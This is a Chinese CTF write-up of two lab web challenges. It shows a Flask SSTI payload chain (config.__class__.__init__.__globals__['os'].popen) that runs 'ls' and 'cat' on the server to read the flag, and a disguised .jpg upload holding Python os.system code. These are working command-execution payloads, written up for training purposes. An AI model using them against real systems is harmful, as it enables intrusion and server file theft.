题目名称:Simple_SSTI_2
题目wirteup:
启动题目场景,获得靶场网站,访问网站,页面显示url连接需要连接一个 flag参数
http://114.67.246.176:19131/
ctf之WEB练习三
根据题目内容,该题是一个ssti漏洞,这里构造ssti,参数构造flag={{3+2}},报错,且是flask
http://114.67.246.176:19131/?flag={{3+2}}
ctf之WEB练习三


又尝试构造flag={{3*2}},发现页面显示6.证明系统存在ssti漏洞
ctf之WEB练习三
通过config变量查看flask的配置信息,并没有可利用点
http://114.67.246.176:19131/?flag={{config}}
ctf之WEB练习三

通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件,这里读取网站系统目录,发现存在一些文件夹,一个个进入查看,发现第一个看的app文件夹里就有flag
##__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
##__init__             初始化类,返回的类型是function
##__globals__[]          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象

http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}
ctf之WEB练习三
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取app目录下的文件,发现存在flag文件
http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}
ctf之WEB练习三
通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容
http://114.67.246.176:19131/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
ctf之WEB练习三
最终得到flag:
flag{fcf301ac393f2215b3664d749c2d875e}

题目名称:Flask_FileUpload
题目witeup:
http://114.67.246.176:12896/
ctf之WEB练习三
对文件上传页面进行源码查看,发现只允许上传jpg和png文件名格式,且让我们上传文件,文件内容会被python执行
view-source:http://114.67.246.176:12896/
ctf之WEB练习三
system函数可以将字符串转化成命令在服务器上运行;其原理是每一条system函数执行时,其会创建一个子进程在系统上执行命令行,
子进程的执行结果无法影响主进程;os.system方法是os模块最基础的方法,其它的方法一般在该方法基础上封装完成。
这里使用python的os包中的system函数读取flag
这里上传一个test.jpg,其内容是读取网站根目录
import os
os.system('ls /')
上传成功,并查看源代码,发现存在系统网站的根目录,并且也发现根目录中包含flag文件

相关文章:

  • 2021-05-15
  • 2021-11-07
  • 2021-12-22
  • 2021-12-04
  • 2021-12-06
  • 2018-11-04
  • 2021-07-24
猜你喜欢
  • 2021-07-06
  • 2022-02-23
  • 2021-07-13
  • 2022-12-23
  • 2021-10-26
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案